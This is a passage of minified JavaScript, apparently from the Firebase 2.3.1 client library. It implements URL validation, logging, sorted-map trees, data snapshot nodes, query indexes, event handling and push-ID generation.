t&&null!==t)i.Ma=t;else{if("function"!=typeof t)throw Error(y(e,3,!0)+" must either be a cancel callback or a context object.");i.cancel=t}return i}function U(e,t){var n,i,r;if(e instanceof Yh)n=e,i=t;else{var o;if(x("new Firebase",1,2,arguments.length),n=(i=Pc(arguments[0])).Tg,"firebase"===i.domain&&Oc(i.host+" is no longer supported. Please use <YOUR FIREBASE>.firebaseio.com instead"),n&&"undefined"!=n||Oc("Cannot parse Firebase url. Please use https://<YOUR FIREBASE>.firebaseio.com"),i.kb||"undefined"!=typeof window&&window.location&&window.location.protocol&&-1!==window.location.protocol.indexOf("https:")&&O("Insecure Firebase access from a secure page. Please use https in calls to new Firebase()."),n=new zc(i.host,i.kb,n,"ws"===i.scheme||"wss"===i.scheme),r=(i=new L(i.$c)).toString(),!(o=!p(n.host)||0===n.host.length||!$f(n.hc))&&(o=0!==r.length)&&(r&&(r=r.replace(/^\/*\.info(\/|$)/,"/")),o=!(p(r)&&0!==r.length&&!Yf.test(r))),o)throw Error(y("new Firebase",1,!1)+'must be a valid firebase URL and the path can\'t contain ".", "#", "$", "[", or "]".');if(t)if(t instanceof W)r=t;else{if(!p(t))throw Error("Expected a valid Firebase.Context for second argument to new Firebase()");r=W.ub(),n.Od=t}else r=W.ub();o=n.toString();var a=w(r.oc,o);a||(a=new Yh(n,r.Sf),r.oc[o]=a),n=a}Y.call(this,n,i,be,!1)}function Lc(e,t){K(!t||!0===e||!1===e,"Can't turn on custom loggers persistently."),!0===e?("undefined"!=typeof console&&("function"==typeof console.log?Bb=q(console.log,console):"object"==typeof console.log&&(Bb=function(e){console.log(e)})),t&&yc.set("logging_enabled",!0)):e?Bb=e:(Bb=null,yc.remove("logging_enabled"))}var g,aa=this,la=Date.now||function(){return+new Date},ya="constructor hasOwnProperty isPrototypeOf propertyIsEnumerable toLocaleString toString valueOf".split(" "),Ea={'"':'\\"',"\\":"\\\\","/":"\\/","\b":"\\b","\f":"\\f","\n":"\\n","\r":"\\r","\t":"\\t","\x0B":"\\u000b"},Fa=/\uffff/.test("\uffff")?/[\\\"\x00-\x1f\x7f-\uffff]/g:/[\\\"\x00-\x1f\x7f-\xff]/g,Ha;e:{var Ia=aa.navigator;if(Ia){var Ja=Ia.userAgent;if(Ja){Ha=Ja;break e}}Ha=""}ma(La,Ka),La.prototype.reset=function(){this.N[0]=1732584193,this.N[1]=4023233417,this.N[2]=2562383102,this.N[3]=271733878,this.N[4]=3285377520,this.de=this.ac=0},La.prototype.update=function(e,t){if(null!=e){n(t)||(t=e.length);for(var i=t-this.Va,r=0,o=this.me,a=this.ac;r<t;){if(0==a)for(;r<=i;)Ma(this,e,r),r+=this.Va;if(p(e)){for(;r<t;)if(o[a]=e.charCodeAt(r),++r,++a==this.Va){Ma(this,o),a=0;break}}else for(;r<t;)if(o[a]=e[r],++r,++a==this.Va){Ma(this,o),a=0;break}}this.ac=a,this.de+=t}};var u=Array.prototype,Na=u.indexOf?function(e,t,n){return u.indexOf.call(e,t,n)}:function(e,t,n){if(n=null==n?0:0>n?Math.max(0,e.length+n):n,p(e))return p(t)&&1==t.length?e.indexOf(t,n):-1;for(;n<e.length;n++)if(n in e&&e[n]===t)return n;return-1},Oa=u.forEach?function(e,t,n){u.forEach.call(e,t,n)}:function(e,t,n){for(var i=e.length,r=p(e)?e.split(""):e,o=0;o<i;o++)o in r&&t.call(n,r[o],o,e)},Pa=u.filter?function(e,t,n){return u.filter.call(e,t,n)}:function(e,t,n){for(var i=e.length,r=[],o=0,a=p(e)?e.split(""):e,s=0;s<i;s++)if(s in a){var l=a[s];t.call(n,l,s,e)&&(r[o++]=l)}return r},Qa=u.map?function(e,t,n){return u.map.call(e,t,n)}:function(e,t,n){for(var i=e.length,r=Array(i),o=p(e)?e.split(""):e,a=0;a<i;a++)a in o&&(r[a]=t.call(n,o[a],a,e));return r},Ra=u.reduce?function(e,t,n,i){for(var r=[],o=1,a=arguments.length;o<a;o++)r.push(arguments[o]);return i&&(r[0]=q(t,i)),u.reduce.apply(e,r)}:function(e,t,n,i){var r=n;return Oa(e,function(n,o){r=t.call(i,r,n,o,e)}),r},Sa=u.every?function(e,t,n){return u.every.call(e,t,n)}:function(e,t,n){for(var i=e.length,r=p(e)?e.split(""):e,o=0;o<i;o++)if(o in r&&!t.call(n,r[o],o,e))return!1;return!0},Za=-1!=Ha.indexOf("Opera")||-1!=Ha.indexOf("OPR"),$a=-1!=Ha.indexOf("Trident")||-1!=Ha.indexOf("MSIE"),ab=-1!=Ha.indexOf("Gecko")&&-1==Ha.toLowerCase().indexOf("webkit")&&!(-1!=Ha.indexOf("Trident")||-1!=Ha.indexOf("MSIE")),bb=-1!=Ha.toLowerCase().indexOf("webkit"),b,a;a="",Za&&aa.opera?ha(a=aa.opera.version)&&a():(ab?b=/rv\:([^\);]+)(\)|;)/:$a?b=/\b(?:MSIE|rv)[: ]([^\);]+)(\)|;)/:bb&&(b=/WebKit\/(\S+)/),b&&(a=(a=b.exec(Ha))?a[1]:""),$a&&(b=(b=aa.document)?b.documentMode:void 0)>parseFloat(a)&&String(b));var cb=null,db=null,eb=null,hb=hb||"2.3.1";ob.prototype.j=function(e){return this.Wd.Q(e)},ob.prototype.toString=function(){return this.Wd.toString()},pb.prototype.qf=function(){return null},pb.prototype.ye=function(){return null};var qb=new pb;rb.prototype.qf=function(e){var t=this.Ka.O;return sb(t,e)?t.j().R(e):(t=null!=this.Kd?new tb(this.Kd,!0,!1):this.Ka.w(),this.Tf.xc(e,t))},rb.prototype.ye=function(e,t,n){var i=null!=this.Kd?this.Kd:ub(this.Ka);return 0===(e=this.Tf.ne(i,t,1,n,e)).length?null:e[0]},xb.prototype.add=function(e){this.vd.push(e)},xb.prototype.Zb=function(){return this.ra};var Fb="value";Gb.prototype.Zb=function(){var e=this.Zd.Ib();return"value"===this.ud?e.path:e.parent().path},Gb.prototype.ze=function(){return this.ud},Gb.prototype.Vb=function(){return this.ue.Vb(this)},Gb.prototype.toString=function(){return this.Zb().toString()+":"+this.ud+":"+B(this.Zd.mf())},Hb.prototype.Zb=function(){return this.path},Hb.prototype.ze=function(){return"cancel"},Hb.prototype.Vb=function(){return this.ue.Vb(this)},Hb.prototype.toString=function(){return this.path.toString()+":cancel"},tb.prototype.j=function(){return this.A},Lb.prototype.get=function(){var e=this.gg.get(),t=xa(e);if(this.Dd)for(var n in this.Dd)t[n]-=this.Dd[n];return this.Dd=e,t},Mb.prototype.If=function(){var e,t=this.fd.get(),n={},i=!1;for(e in t)0<t[e]&&v(this.Of,e)&&(n[e]=t[e],i=!0);i&&this.ba.Ue(n),setTimeout(q(this.If,this),Math.floor(6e5*Math.random()))},Nb.prototype.get=function(){return xa(this.Ec)};var Pb={},Qb={};Xb.prototype.Xc=function(e){return this.path.e()?new Xb(this.source,G,this.Ga.R(e)):new Xb(this.source,H(this.path),this.Ga)},Xb.prototype.toString=function(){return"Operation("+this.path+": "+this.source.toString()+" overwrite: "+this.Ga.toString()+")"},Zb.prototype.Xc=function(){return this.path.e()?new Zb(this.source,G):new Zb(this.source,H(this.path))},Zb.prototype.toString=function(){return"Operation("+this.path+": "+this.source.toString()+" listen_complete)"},g=ac.prototype,g.Oa=function(e,t){return new ac(this.La,this.wa.Oa(e,t,this.La).Y(null,null,!1,null,null))},g.remove=function(e){return new ac(this.La,this.wa.remove(e,this.La).Y(null,null,!1,null,null))},g.get=function(e){for(var t,n=this.wa;!n.e();){if(0===(t=this.La(e,n.key)))return n.value;0>t?n=n.left:0<t&&(n=n.right)}return null},g.e=function(){return this.wa.e()},g.count=function(){return this.wa.count()},g.Sc=function(){return this.wa.Sc()},g.fc=function(){return this.wa.fc()},g.ia=function(e){return this.wa.ia(e)},g.Xb=function(e){return new dc(this.wa,null,this.La,!1,e)},g.Yb=function(e,t){return new dc(this.wa,e,this.La,!1,t)},g.$b=function(e,t){return new dc(this.wa,e,this.La,!0,t)},g.sf=function(e){return new dc(this.wa,null,this.La,!0,e)},g=fc.prototype,g.Y=function(e,t,n,i,r){return new fc(null!=e?e:this.key,null!=t?t:this.value,null!=n?n:this.color,null!=i?i:this.left,null!=r?r:this.right)},g.count=function(){return this.left.count()+1+this.right.count()},g.e=function(){return!1},g.ia=function(e){return this.left.ia(e)||e(this.key,this.value)||this.right.ia(e)},g.Sc=function(){return gc(this).key},g.fc=function(){return this.right.e()?this.key:this.right.fc()},g.Oa=function(e,t,n){var i,r;return hc(r=0>(i=n(e,(r=this).key))?r.Y(null,null,null,r.left.Oa(e,t,n),null):0===i?r.Y(null,t,null,null,null):r.Y(null,null,null,null,r.right.Oa(e,t,n)))},g.remove=function(e,t){var n,i;if(0>t(e,(n=this).key))n.left.e()||n.left.fa()||n.left.left.fa()||(n=jc(n)),n=n.Y(null,null,null,n.left.remove(e,t),null);else{if(n.left.fa()&&(n=kc(n)),n.right.e()||n.right.fa()||n.right.left.fa()||(n=lc(n)).left.left.fa()&&(n=lc(n=kc(n))),0===t(e,n.key)){if(n.right.e())return bc;i=gc(n.right),n=n.Y(i.key,i.value,null,null,ic(n.right))}n=n.Y(null,null,null,null,n.right.remove(e,t))}return hc(n)},g.fa=function(){return this.color},g=nc.prototype,g.Y=function(){return this},g.Oa=function(e,t){return new fc(e,t,null)},g.remove=function(){return this},g.count=function(){return 0},g.e=function(){return!0},g.ia=function(){return!1},g.Sc=function(){return null},g.fc=function(){return null},g.fa=function(){return!1};var bc=new nc;uc.prototype.set=function(e,t){null==t?delete this.wc[e]:this.wc[e]=t},uc.prototype.get=function(e){return v(this.wc,e)?this.wc[e]:null},uc.prototype.remove=function(e){delete this.wc[e]},uc.prototype.wf=!0,g=vc.prototype,g.set=function(e,t){null==t?this.Fc.removeItem(this.Pd+e):this.Fc.setItem(this.Pd+e,B(t))},g.get=function(e){return null==(e=this.Fc.getItem(this.Pd+e))?null:nb(e)},g.remove=function(e){this.Fc.removeItem(this.Pd+e)},g.wf=!1,g.toString=function(){return this.Fc.toString()};var xc=wc("localStorage"),yc=wc("sessionStorage");zc.prototype.toString=function(){var e=(this.kb?"https://":"http://")+this.host;return this.Od&&(e+="<"+this.Od+">"),e};var Ec=function(){var e=1;return function(){return e++}}(),Bb=null,Kc=!0,Yc=/^-?\d{1,10}$/;cd.prototype.hg=function(e,t){if(null==e.Wa||null==t.Wa)throw Fc("Should only compare child_ events.");return this.g.compare(new F(e.Wa,e.Ja),new F(t.Wa,t.Ja))},g=id.prototype,g.Kf=function(e){return"value"===e},g.createEvent=function(e,t){var n=t.n.g;return new Gb("value",this,new Q(e.Ja,t.Ib(),n))},g.Vb=function(e){var t=this.rb;if("cancel"===e.ze()){K(this.pb,"Raising a cancel event on a listener with no cancel callback");var n=this.pb;return function(){n.call(t,e.error)}}var i=this.Rb;return function(){i.call(t,e.Zd)}},g.gf=function(e,t){return this.pb?new Hb(this,e,t):null},g.matches=function(e){return e instanceof id&&(!e.Rb||!this.Rb||e.Rb===this.Rb&&e.rb===this.rb)},g.tf=function(){return null!==this.Rb},g=jd.prototype,g.Kf=function(e){return("children_removed"===(e="children_added"===e?"child_added":e)?"child_removed":e)in this.ha},g.gf=function(e,t){return this.pb?new Hb(this,e,t):null},g.createEvent=function(e,t){K(null!=e.Wa,"Child events should have a childName.");var n=t.Ib().u(e.Wa);return new Gb(e.type,this,new Q(e.Ja,n,t.n.g),e.Qd)},g.Vb=function(e){var t=this.rb;if("cancel"===e.ze()){K(this.pb,"Raising a cancel event on a listener with no cancel callback");var n=this.pb;return function(){n.call(t,e.error)}}var i=this.ha[e.ud];return function(){i.call(t,e.Zd,e.Qd)}},g.matches=function(e){if(e instanceof jd){if(!this.ha||!e.ha)return!0;if(this.rb===e.rb)if((t=pa(e.ha))===pa(this.ha)){if(1===t){var t=qa(e.ha),n=qa(this.ha);return!(n!==t||e.ha[t]&&this.ha[n]&&e.ha[t]!==this.ha[n])}return oa(this.ha,function(t,n){return e.ha[n]===t})}}return!1},g.tf=function(){return null!==this.ha},g=kd.prototype,g.G=function(e,t,n,i,r,o){return K(e.Jc(this.g),"A node must be indexed if only a child is updated"),(r=e.R(t)).Q(i).ca(n.Q(i))&&r.e()==n.e()?e:(null!=o&&(n.e()?e.Da(t)?hd(o,new D("child_removed",r,t)):K(e.K(),"A child remove without an old child only makes sense on a leaf node"):r.e()?hd(o,new D("child_added",n,t)):hd(o,new D("child_changed",n,t,r))),e.K()&&n.e()?e:e.U(t,n).lb(this.g))},g.xa=function(e,t,n){return null!=n&&(e.K()||e.P(N,function(e,i){t.Da(e)||hd(n,new D("child_removed",i,e))}),t.K()||t.P(N,function(t,i){if(e.Da(t)){var r=e.R(t);r.ca(i)||hd(n,new D("child_changed",i,t,r))}else hd(n,new D("child_added",i,t))})),t.lb(this.g)},g.ga=function(e,t){return e.e()?C:e.ga(t)},g.Na=function(){return!1},g.Wb=function(){return this},g=ld.prototype,g.matches=function(e){return 0>=this.g.compare(this.ed,e)&&0>=this.g.compare(e,this.Gc)},g.G=function(e,t,n,i,r,o){return this.matches(new F(t,n))||(n=C),this.Be.G(e,t,n,i,r,o)},g.xa=function(e,t,n){t.K()&&(t=C);var i=(i=t.lb(this.g)).ga(C),r=this;return t.P(N,function(e,t){r.matches(new F(e,t))||(i=i.U(e,C))}),this.Be.xa(e,i,n)},g.ga=function(e){return e},g.Na=function(){return!0},g.Wb=function(){return this.Be},g=qd.prototype,g.G=function(e,t,n,i,r,o){return this.sa.matches(new F(t,n))||(n=C),e.R(t).ca(n)?e:e.Db()<this.ka?this.sa.Wb().G(e,t,n,i,r,o):sd(this,e,t,n,r,o)},g.xa=function(e,t,n){var i;if(t.K()||t.e())i=C.lb(this.g);else if(2*this.ka<t.Db()&&t.Jc(this.g)){i=C.lb(this.g),t=this.Jb?t.$b(this.sa.Gc,this.g):t.Yb(this.sa.ed,this.g);for(var r=0;0<t.Pa.length&&r<this.ka;){var o=J(t);if(!(this.Jb?0>=this.g.compare(this.sa.ed,o):0>=this.g.compare(o,this.sa.Gc)))break;i=i.U(o.name,o.S),r++}}else{var a,s,l;if(i=(i=t.lb(this.g)).ga(C),this.Jb){t=i.sf(this.g),a=this.sa.Gc,s=this.sa.ed;var c=td(this.g);l=function(e,t){return c(t,e)}}else t=i.Xb(this.g),a=this.sa.ed,s=this.sa.Gc,l=td(this.g);r=0;for(var u=!1;0<t.Pa.length;)o=J(t),!u&&0>=l(a,o)&&(u=!0),u&&r<this.ka&&0>=l(o,s)?r++:i=i.U(o.name,C)}return this.sa.Wb().xa(e,i,n)},g.ga=function(e){return e},g.Na=function(){return!0},g.Wb=function(){return this.sa.Wb()},xd.prototype.ab=function(e,t,n,i){var r,o=new gd;if(t.type===Yb)t.source.we?n=yd(this,e,t.path,t.Ga,n,i,o):(K(t.source.pf,"Unknown source."),r=t.source.af||Jb(e.w())&&!t.path.e(),n=Ad(this,e,t.path,t.Ga,n,i,r,o));else if(t.type===Bd)t.source.we?n=Cd(this,e,t.path,t.children,n,i,o):(K(t.source.pf,"Unknown source."),r=t.source.af||Jb(e.w()),n=Dd(this,e,t.path,t.children,n,i,r,o));else if(t.type===Ed)if(t.Vd)if(t=t.path,null!=n.tc(t))n=e;else{if(r=new rb(n,e,i),i=e.O.j(),t.e()||".priority"===E(t))Ib(e.w())?t=n.za(ub(e)):(K((t=e.w().j())instanceof R,"serverChildren would be complete if leaf node"),t=n.yc(t)),t=this.V.xa(i,t,o);else{var a=E(t),s=n.xc(a,e.w());null==s&&sb(e.w(),a)&&(s=i.R(a)),(t=null!=s?this.V.G(i,a,s,H(t),r,o):e.O.j().Da(a)?this.V.G(i,a,C,H(t),r,o):i).e()&&Ib(e.w())&&((i=n.za(ub(e))).K()&&(t=this.V.xa(t,i,o)))}n=Fd(e,t,i=Ib(e.w())||null!=n.tc(G),this.V.Na())}else n=Gd(this,e,t.path,t.Qb,n,i,o);else{if(t.type!==$b)throw Fc("Unknown operation type: "+t.type);i=t.path,r=(t=e.w()).j(),a=t.ea||i.e(),n=Hd(this,new Id(e.O,new tb(r,a,t.Ub)),i,n,qb,o)}return o=ra(o.bb),(t=(i=n).O).ea&&(r=t.j().K()||t.j().e(),a=Jd(e),(0<o.length||!e.O.ea||r&&!t.j().ca(a)||!t.j().C().ca(a.C()))&&o.push(Eb(Jd(i)))),new wd(n,o)};var Sd={};Rd.prototype.Ad=function(e,t){return 0!==this.compare(new F("[MIN_NAME]",e),new F("[MIN_NAME]",t))},Rd.prototype.Tc=function(){return Td},ma(Ud,Rd),g=Ud.prototype,g.Ic=function(e){return!e.Q(this.cc).e()},g.compare=function(e,t){var n=e.S.Q(this.cc),i=t.S.Q(this.cc);return 0===(n=n.Dc(i))?Vb(e.name,t.name):n},g.Pc=function(e,t){var n=M(e);return new F(t,n=C.G(this.cc,n))},g.Qc=function(){return new F("[MAX_NAME]",C.G(this.cc,Vd))},g.toString=function(){return this.cc.slice().join("/")},ma(Wd,Rd),g=Wd.prototype,g.compare=function(e,t){var n=e.S.C(),i=t.S.C();return 0===(n=n.Dc(i))?Vb(e.name,t.name):n},g.Ic=function(e){return!e.C().e()},g.Ad=function(e,t){return!e.C().ca(t.C())},g.Tc=function(){return Td},g.Qc=function(){return new F("[MAX_NAME]",new tc("[PRIORITY-POST]",Vd))},g.Pc=function(e,t){return new F(t,new tc("[PRIORITY-POST]",M(e)))},g.toString=function(){return".priority"};var N=new Wd;ma(Xd,Rd),g=Xd.prototype,g.compare=function(e,t){return Vb(e.name,t.name)},g.Ic=function(){throw Fc("KeyIndex.isDefinedOn not expected to be called.")},g.Ad=function(){return!1},g.Tc=function(){return Td},g.Qc=function(){return new F("[MAX_NAME]",C)},g.Pc=function(e){return K(p(e),"KeyIndex indexValue must always be a string."),new F(e,C)},g.toString=function(){return".key"};var Qd=new Xd;ma(Yd,Rd),g=Yd.prototype,g.compare=function(e,t){var n=e.S.Dc(t.S);return 0===n?Vb(e.name,t.name):n},g.Ic=function(){return!0},g.Ad=function(e,t){return!e.ca(t)},g.Tc=function(){return Td},g.Qc=function(){return Zd},g.Pc=function(e,t){return new F(t,M(e))},g.toString=function(){return".value"};var $d=new Yd,be=new ae;g=ae.prototype,g.He=function(e){var t=ce(this);return t.ja=!0,t.ka=e,t.Nb="",t},g.Ie=function(e){var t=ce(this);return t.ja=!0,t.ka=e,t.Nb="l",t},g.Je=function(e){var t=ce(this);return t.ja=!0,t.ka=e,t.Nb="r",t},g.$d=function(e,t){var i=ce(this);return i.ma=!0,n(e)||(e=null),i.ec=e,null!=t?(i.Lb=!0,i.xb=t):(i.Lb=!1,i.xb=""),i},g.td=function(e,t){var i=ce(this);return i.pa=!0,n(e)||(e=null),i.bc=e,n(t)?(i.Tb=!0,i.vb=t):(i.ah=!1,i.vb=""),i},g.toString=function(){return B(ee(this))},he.prototype.get=function(e){var t=w(this.Bd,e);if(!t)throw Error("No index defined for "+e);return t===Sd?null:t};var le=new he({".priority":Sd},{".priority":N}),ne=["object","boolean","number","string"];g=tc.prototype,g.K=function(){return!0},g.C=function(){return this.aa},g.ga=function(e){return new tc(this.B,e)},g.R=function(e){return".priority"===e?this.aa:C},g.Q=function(e){return e.e()?this:".priority"===E(e)?this.aa:C},g.Da=function(){return!1},g.rf=function(){return null},g.U=function(e,t){return".priority"===e?this.ga(t):t.e()&&".priority"!==e?this:C.U(e,t).ga(this.aa)},g.G=function(e,t){var n=E(e);return null===n?t:t.e()&&".priority"!==n?this:(K(".priority"!==n||1===Kd(e),".priority must be the last token in a path"),this.U(n,C.G(H(e),t)))},g.e=function(){return!1},g.Db=function(){return 0},g.P=function(){return!1},g.I=function(e){return e&&!this.C().e()?{".value":this.Ca(),".priority":this.C().I()}:this.Ca()},g.hash=function(){if(null===this.Cb){var e="";this.aa.e()||(e+="priority:"+oe(this.aa.I())+":");var t=typeof this.B;e=e+(t+":"),e="number"===t?e+Xc(this.B):e+this.B;this.Cb=Hc(e)}return this.Cb},g.Ca=function(){return this.B},g.Dc=function(e){if(e===C)return 1;if(e instanceof R)return-1;K(e.K(),"Unknown node type");var t=typeof e.B,n=typeof this.B,i=Na(ne,t),r=Na(ne,n);return K(0<=i,"Unknown leaf type: "+t),K(0<=r,"Unknown leaf type: "+n),i===r?"object"===n?0:this.B<e.B?-1:this.B===e.B?0:1:r-i},g.lb=function(){return this},g.Jc=function(){return!0},g.ca=function(e){return e===this||!!e.K()&&(this.B===e.B&&this.aa.ca(e.aa))},g.toString=function(){return B(this.I(!0))},g=R.prototype,g.K=function(){return!1},g.C=function(){return this.aa||C},g.ga=function(e){return this.m.e()?this:new R(this.m,e,this.wb)},g.R=function(e){return".priority"===e?this.C():null===(e=this.m.get(e))?C:e},g.Q=function(e){var t=E(e);return null===t?this:this.R(t).Q(H(e))},g.Da=function(e){return null!==this.m.get(e)},g.U=function(e,t){if(K(t,"We should always be passing snapshot nodes"),".priority"===e)return this.ga(t);var n,i=new F(e,t);return t.e()?(n=this.m.remove(e),i=ke(this.wb,i,this.m)):(n=this.m.Oa(e,t),i=ie(this.wb,i,this.m)),new R(n,n.e()?C:this.aa,i)},g.G=function(e,t){var n=E(e);if(null===n)return t;K(".priority"!==E(e)||1===Kd(e),".priority must be the last token in a path");var i=this.R(n).G(H(e),t);return this.U(n,i)},g.e=function(){return this.m.e()},g.Db=function(){return this.m.count()};var pe=/^(0|[1-9]\d*)$/;g=R.prototype,g.I=function(e){if(this.e())return null;var t={},n=0,i=0,r=!0;if(this.P(N,function(o,a){t[o]=a.I(e),n++,r&&pe.test(o)?i=Math.max(i,Number(o)):r=!1}),!e&&r&&i<2*n){var o,a=[];for(o in t)a[o]=t[o];return a}return e&&!this.C().e()&&(t[".priority"]=this.C().I()),t},g.hash=function(){if(null===this.Cb){var e="";this.C().e()||(e+="priority:"+oe(this.C().I())+":"),this.P(N,function(t,n){var i=n.hash();""!==i&&(e+=":"+t+":"+i)}),this.Cb=""===e?"":Hc(e)}return this.Cb},g.rf=function(e,t,n){return(n=qe(this,n))?(e=cc(n,new F(e,t)))?e.name:null:cc(this.m,e)},g.P=function(e,t){var n=qe(this,e);return n?n.ia(function(e){return t(e.name,e.S)}):this.m.ia(t)},g.Xb=function(e){return this.Yb(e.Tc(),e)},g.Yb=function(e,t){if(n=qe(this,t))return n.Yb(e,function(e){return e});for(var n,i=ec(n=this.m.Yb(e.name,Tb));null!=i&&0>t.compare(i,e);)J(n),i=ec(n);return n},g.sf=function(e){return this.$b(e.Qc(),e)},g.$b=function(e,t){if(n=qe(this,t))return n.$b(e,function(e){return e});for(var n,i=ec(n=this.m.$b(e.name,Tb));null!=i&&0<t.compare(i,e);)J(n),i=ec(n);return n},g.Dc=function(e){return this.e()?e.e()?0:-1:e.K()||e.e()?1:e===Vd?-1:0},g.lb=function(e){if(e===Qd||ta(this.wb.dc,e.toString()))return this;var t=this.wb,n=this.m;K(e!==Qd,"KeyIndex always exists and isn't meant to be added to the IndexMap.");for(var i=[],r=!1,o=J(n=n.Xb(Tb));o;)r=r||e.Ic(o.S),i.push(o),o=J(n);return i=r?je(i,td(e)):Sd,r=e.toString(),(n=xa(t.dc))[r]=e,(e=xa(t.Bd))[r]=i,new R(this.m,this.aa,new he(e,n))},g.Jc=function(e){return e===Qd||ta(this.wb.dc,e.toString())},g.ca=function(e){if(e===this)return!0;if(e.K())return!1;if(this.C().ca(e.C())&&this.m.count()===e.m.count()){var t=this.Xb(N);e=e.Xb(N);for(var n=J(t),i=J(e);n&&i;){if(n.name!==i.name||!n.S.ca(i.S))return!1;n=J(t),i=J(e)}return null===n&&null===i}return!1},g.toString=function(){return B(this.I(!0))};var re=Math.log(2),C=new R(new ac(Wb),null,le);ma(ue,R),g=ue.prototype,g.Dc=function(e){return e===this?0:1},g.ca=function(e){return e===this},g.C=function(){return this},g.R=function(){return C},g.e=function(){return!1};var Vd=new ue,Td=new F("[MIN_NAME]",C),Zd=new F("[MAX_NAME]",Vd);Id.prototype.w=function(){return this.Yd},g=ve.prototype,g.w=function(){return this.Ka.w().j()},g.fb=function(e){var t=ub(this.Ka);return t&&(S(this.W.n)||!e.e()&&!t.R(E(e)).e())?t.Q(e):null},g.e=function(){return 0===this.Xa.length},g.Pb=function(e){this.Xa.push(e)},g.jb=function(e,t){var n=[];if(t){K(null==e,"A cancel should cancel all event registrations.");var i=this.W.path;Oa(this.Xa,function(e){(e=e.gf(t,i))&&n.push(e)})}if(e){for(var r=[],o=0;o<this.Xa.length;++o){var a=this.Xa[o];if(a.matches(e)){if(e.tf()){r=r.concat(this.Xa.slice(o+1));break}}else r.push(a)}this.Xa=r}else this.Xa=[];return n},g.ab=function(e,t,n){e.type===Bd&&null!==e.source.Hb&&(K(ub(this.Ka),"We should always have a full cache before handling merges"),K(Jd(this.Ka),"Missing event cache, even though we have a server cache"));var i=this.Ka;return e=this.Hf.ab(i,e,t,n),t=this.Hf,K((n=e.je).O.j().Jc(t.V.g),"Event snap not indexed"),K(n.w().j().Jc(t.V.g),"Server snap not indexed"),K(Ib(e.je.w())||!Ib(i.w()),"Once a server snap is complete, it should never go back"),this.Ka=e.je,xe(this,e.fg,e.je.O.j(),null)},ze.prototype.Xc=function(e){return this.path.e()?(e=this.children.subtree(new L(e))).e()?null:e.value?new Xb(this.source,G,e.value):new ze(this.source,G,e):(K(E(this.path)===e,"Can't get a merge for a child not on the path of the operation"),new ze(this.source,H(this.path),this.children))},ze.prototype.toString=function(){return"Operation("+this.path+": "+this.source.toString()+" merge: "+this.children.toString()+")"},g=Ae.prototype,g.yf=function(e,t,n,i){var r=e.path.toString();this.f("Listen called for "+r+" "+e.va());var o=Be(e,n),a={};this.$[o]=a,e=ge(e.n);var s=this;Ce(this,r+".json",e,function(e,t){var l=t;404===e&&(e=l=null),null===e&&s.Gb(r,l,!1,n),w(s.$,o)===a&&i(e?401==e?"permission_denied":"rest_error:"+e:"ok",null)})},g.Rf=function(e,t){var n=Be(e,t);delete this.$[n]},g.M=function(e,t){this.Aa=e;var n=(i=$c(e)).data,i=i.Bc&&i.Bc.exp;t&&t("ok",{auth:n,expires:i})},g.ge=function(e){this.Aa=null,e("ok",null)},g.Me=function(){},g.Cf=function(){},g.Jd=function(){},g.put=function(){},g.zf=function(){},g.Ue=function(){},De.prototype.fe=function(e){var t,n=(t=this.Oc[e]||[]).length;if(0<n){for(var i=Array(n),r=0;r<n;r++)i[r]=t[r];t=i}else t=[];for(n=0;n<t.length;n++)t[n].zc.apply(t[n].Ma,Array.prototype.slice.call(arguments,1))},De.prototype.Eb=function(e,t,n){Ee(this,e),this.Oc[e]=this.Oc[e]||[],this.Oc[e].push({zc:t,Ma:n}),(e=this.Ae(e))&&t.apply(n,e)},De.prototype.ic=function(e,t,n){Ee(this,e),e=this.Oc[e]||[];for(var i=0;i<e.length;i++)if(e[i].zc===t&&(!n||n===e[i].Ma)){e.splice(i,1);break}};var Fe=function(){var e=0,t=[];return function(n){var i=n===e;e=n;for(var r=Array(8),o=7;0<=o;o--)r[o]="-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz".charAt(n%64),n=Math.floor(n/64);if(K(0===n,"Cannot push at time == 0"),n=r.join(""),i){for(o=11;0<=o&&63===t[o];o--)t[o]=0;t[o]++}else for(o=0;12>o;o++)t[o]=Math.floor(64*Math.random());for(o=0;12>o;o++)n+="-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz".charAt(t[o]);return K(20===n.length,"nextPushId: Length should be 20."),n}}();ma(Ge,De),Ge.prototype.Ae=function(e){return K("online"===e,"Unknown event type: "+e),[this.kc]},ca(Ge),ma(He,De),He.prototype.Ae=function(e){return K("visible"===e,"Unknown event type: "+e),[this.Ob]},ca(He),g=L.prototype,g.toString=function(){for(var e="",t=this.Z;t<this.o.length;t++)""!==this.o[t]&&(e+="/"+this.o[t]);return e||"/"},g.slice=function(e){return this.o.slice(this.Z+(e||0))},g.parent=function(){if(this.Z>=this.o.length)return null;for(var e=[],t=this.Z;t<this.o.length-1;t++)e.push(this.o[t]);return new L(e,0)},g.u=function(e){for(var t=[],n=this.Z;n<this.o.length;n++)t.push(this.o[n]);if(e instanceof L)for(n=e.Z;n<e.o.length;n++)t.push(e.o[n]);else for(e=e.split("/"),n=0;n<e.length;n++)0<e[n].length&&t.push(e[n]);return new L(t,0)},g.e=function(){return this.Z>=this.o.length},g.ca=function(e){if(Kd(this)!==Kd(e))return!1;for(var t=this.Z,n=e.Z;t<=this.o.length;t++,n++)if(this.o[t]!==e.o[n])return!1;return!0},g.contains=function(e){var t=this.Z,n=e.Z;if(Kd(this)>Kd(e))return!1;for(;t<this.o.length;){if(this.o[t]!==e.o[n])return!1;++t,++n}return!0};var G=new L("");Je.prototype.push=function(e){0<this.Qa.length&&(this.Ha+=1),this.Qa.push(e),this.Ha+=Zc(e),Ke(this)},Je.prototype.pop=function(){var e=this.Qa.pop();this.Ha-=Zc(e),0<this.Qa.length&&--this.Ha};var Ne=new ac(function(e,t){return e===t?0:e<t?-1:1});g=Me.prototype,g.e=function(){return null===this.value&&this.children.e()},g.subtree=function(e){if(e.e())return this;var t=this.children.get(E(e));return null!==t?t.subtree(H(e)):Pd},g.set=function(e,t){if(e.e())return new Me(t,this.children);var n=E(e),i=(this.children.get(n)||Pd).set(H(e),t);n=this.children.Oa(n,i);return new Me(this.value,n)},g.remove=function(e){if(e.e())return this.children.e()?Pd:new Me(null,this.children);var t=E(e),n=this.children.get(t);return n?(t=(e=n.remove(H(e))).e()?this.children.remove(t):this.children.Oa(t,e),null===this.value&&t.e()?Pd:new Me(this.value,t)):this},g.get=function(e){if(e.e())return this.value;var t=this.children.get(E(e));return t?t.get(H(e)):null};var Pd=new 